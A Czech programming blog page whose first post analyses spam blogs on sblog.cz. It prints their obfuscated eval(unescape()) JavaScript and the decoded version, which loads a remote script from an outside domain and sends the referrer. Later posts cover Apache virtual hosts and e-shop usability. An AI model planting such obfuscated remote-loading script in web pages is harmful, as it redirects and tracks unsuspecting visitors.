PELMEL

Programování

Sblog.cz plný spamu a porna

29. 3. 2008

Shodou náhod jsem narazil na několik blogů na adrese sblog.cz, které jsou založeny spammery a fungují čistě pro přesměrování na pharmacy, porno, a další SPAM affiliate weby.

Způsob spamu, nebo chcete-li hacku je až trapně jednoduchý. Do stránky je vložen kódovaný javascript (pomocí funkce escape()), která je pak funkcí eval() vykonán.

Takový kód vypadá například takto:

eval(unescape("%66%75%6e%63%74%69%6f%6e%20%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%20%7b%0a%20%20%76%61%72%20%64%6f%63%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%68%65%61%64%22%29%2e%69%74%65%6d%28%30%29%0a%20%20%76%61%72%20%6a%73%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%6c%61%6e%67%75%61%67%65%22%2c%20%22%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%74%79%70%65%22%2c%20%22%74%65%78%74%2f%6a%61%76%61%73%63%72%69%70%74%22%29%0a%20%20%6a%73%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%22%73%72%63%22%2c%20%73%63%72%69%70%74%5f%66%69%6c%65%6e%61%6d%65%29%0a%20%20%64%6f%63%2e%61%70%70%65%6e%64%43%68%69%6c%64%28%6a%73%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%66%75%6e%63%74%69%6f%6e%20%67%6f%28%29%20%7b%0a%69%6e%63%6c%75%64%65%5f%64%6f%6d%28%22%68%74%74%70%3a%2f%2f%77%77%77%2e%66%69%6e%61%6e%63%65%2d%6c%65%61%64%65%72%73%2e%63%6f%6d%2f%66%65%65%64%32%2e%70%68%70%3f%6b%65%79%77%6f%72%64%3d%22%2b%20%65%73%63%61%70%65%28%22%31%30%39%35%22%29%2b%22%26%66%65%65%64%3d%38%26%72%65%66%3d%22%2b%20%65%73%63%61%70%65%28%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72%65%72%29%29%0a%20%20%72%65%74%75%72%6e%20%66%61%6c%73%65%0a%7d%0a%67%6f%28%29%3b%0a"));

Po rozkódování se ve stránce vykoná tento skript:

function include_dom(script_filename) { var doc = document.getElementsByTagName("head").item(0) var js = document.createElement("script") js.setAttribute("language", "javascript") js.setAttribute("type", "text/javascript") js.setAttribute("src", script_filename) doc.appendChild(js) return false } function go() { include_dom("http://www.finance-leaders.com/feed2.php?keyword="+ escape("1095")+"&feed=8&ref="+ escape(document.referrer)) return false } go();

Trapné, co? :)

Pro příklad 50 blogů, které patří těmto spamerům. V reálu jich bude typuju pár tisíc :) více

Virtuální servery v Apache

25. 12. 2007

Každý se jednou setká s tím, že přehazovat umístění aliasu localhost mezi více adresáři (projekty) je nepraktické. Ještě méně praktické je zakládat pro tyto projekty adresáře typu localhost/projekt1/ , resp. projekt2, atd. Nemůžete pak linkovat soubory absolutně, ale musíte počítat s tím, že od rootu vás dělí ještě adresář s názvem projektu.

Nejelegantnějším a nejpraktičtějším řešením je založení aliasu – adresy pro každý projekt.

Postup je jednoduchý.

Neprve si otevřete soubor httpd.conf (nachází se ve složce, kde máte nainstalovaný apache, resp. v podsložce conf. Některé instalační balíčky obsahující apache + php + mysql, jako například wamp server, mají odkaz na httpd.conf v menu).

V httpd.conf najděte a odkomentujte (smažte #) řádek „#Include conf/extra/httpd-vhosts.conf“. Zápis virtuálních serverů by byl možný i do samotného httpd.conf, ale zápis by byl velmi nepřehledný. Tímto povolíte vložení pravidel, která budou v souboru httpd-vhosts.conf, který se nachází ve složce, kde máte nainstalovaný apache, resp. v podsložce conf/extra/. Jako výchozí je v tomto souboru nějaký příklad. Moc použitelný ovšem není. Obsah proto smažte a vložte něco na způsob kódu, který je na konci článku (v případě, že jej čtete z kategorie, tak pak rozklikněte na detail) – vzorové nastavení 3 virtuálních serverů – localhost, projekt1 a projekt2

Po tomto nastavení je třeba restartovat Apache. Aliasy těchto serverů je potřeba nastavit také v souboru hosts, který se nachází ve složce Windows, resp. podsložkách system32/drivers/etc/ (na linuxu ve složce /etc/hosts). V tomto souboru je několik příkladů. Pro výše zmíněné nastavení upravte řádek s adresou 127.0.0.1 (případně ho přidejte) takto:

127.0.0.1 localhost projekt1 projekt2

Poznámka: Na konci souboru hosts by měl být z nějakých důvodů 1 prázdný řádek

Tímto máte nastavený Apache a své 3 servery. více

Zboží.cz má nejrychlejšího robota na světě! :)

5. 10. 2007

Včera jsem psal o chybách nového zboží.cz od Seznamu a dnes jsem narazil na další.

Robot, který zpracovává XML výstupy z eshopů pracuje rychleji, než čas. 220 položek dokáže zpracovat za-4 vteřiny (viz tento printscreen). Vývojáři si dali záležet a asi se máme s novým zbožím ještě na co těšit!

(tímto nechci nijak zpochybnit práci vývojářů, stane se, že někdo prohodí dva časové údaje. V tomto případě selhalo vedení projektu a testeři (pokud byli).

Kupuju fax a kasa mě posílá „do prdele“ :)

9. 8. 2007

Před 2 roky jsme do kanceláře kupovali fax. Tehdy se mi nejvíc líbil Panasonic KX-FLM552EX a mé představy dokonale splnil. Měsíčně zvládá tisknout stovky dokumentů při velmi malých nákladech. Potřebujeme vybavit novou kancelář a tak jsem sháněl ještě jeden tento model, ale podle očekávání má už nástupce – KX-FLM653EX.

K vyhledávání zboží používám v 70% jyxo. Nabízí několik filtrů a pokud nehledám nějakou speciální věc, je toto hledání velmi rychlé.

Při hledání nového faxu jsem se nechal unést sponzorovaným odkazem. Přešel jsem tedy na stránky Netfox. Sice hned vidím jaký mám koupit náhradní válec, jaký toner, ale nevidím fotku a chrlí to na mě nesmyslné položky v tabulce. Dostupnost: Sale, Status: V ceníku … cože? Možná by bylo fajn napsat rovnou, že dostupnost na dotaz a to,že je v ceníku vidím sám … kdyby tomu bylo jinak, na produkt se nejspíš nedostanu :)

No nic, jdu se ještě podívat o dům dál. Pokračuji na první nejrelevantnější výsledek – Obchodní dům MiJa. Tabulka detailu produktu je přehledná, faktická. Doprava zdarma, fajn. Dostupnost na dotaz … klikám na slovo na dotaz, ale nic se neděje … to nestojí o to abych jim napsal? nebo jim jen ujel kurzor a tváři se to fiktivně jako odkaz? No sice je kontaktní formulář vedle, ale to je neomlouvá :) Navíc nemají náhradní toner a válec. Alespoň ne mezi souvisejícím zbožím.

Jdu hledat dál. Koukám ještě na několik obchodů, ale nikde zboží nemají. Schválně si ze zvědavosti odfiltruju zboží dle ceny s limitem 5000, abych se zbavil nabídky tonerů. Narazím na x-store … sice o kvalitě eshopu nemůže být ani řeč, ale mají ho skladem. Po vyhledání nacházím i toner. Tady trochu tápu, protože u toneru není napsané, že je pro můj fax. Jdu proto na megaobchod a kasu, abych se podíval, jestli považují za kompatibílní ten samý toner. Na stránkách megaobchodu kompatibilitu potvrzují, na kasa.cz jakoby tušili, že u nich nic nekoupím a rovnou mě posílají nedefinovanou metodou do prdele. Ano, je to tak:

Kasa.cz mě posílá do prdele

Závěr
Pokud už investujete peníze eshopu, myslete i na to, jak vydělat na každém zákazníkovi co nejvíc. Není nic jednodužšího, než mu doporučit nějaké zboží k produktu, který kupuje. V mém případě tedy toner a válec. Stejně mě jejich koupě do 2-3 měsíců nemine, tak proč to nekoupit hned a neušetřit na poštovném. Ale jak je i tady vidět, díky dostupnosti a ceně i špatný eshop, který je někde trošku vidět, získá zákazníka :)

Závěr pro programátory
Vypněte si error reporting, nebo používejte logické pojmenování funkcí :)

UPDATE: V reakci na komentář z Kasy.cz bych rád podotkl, že mne onen error neurazil, ale pobavil :)

RSS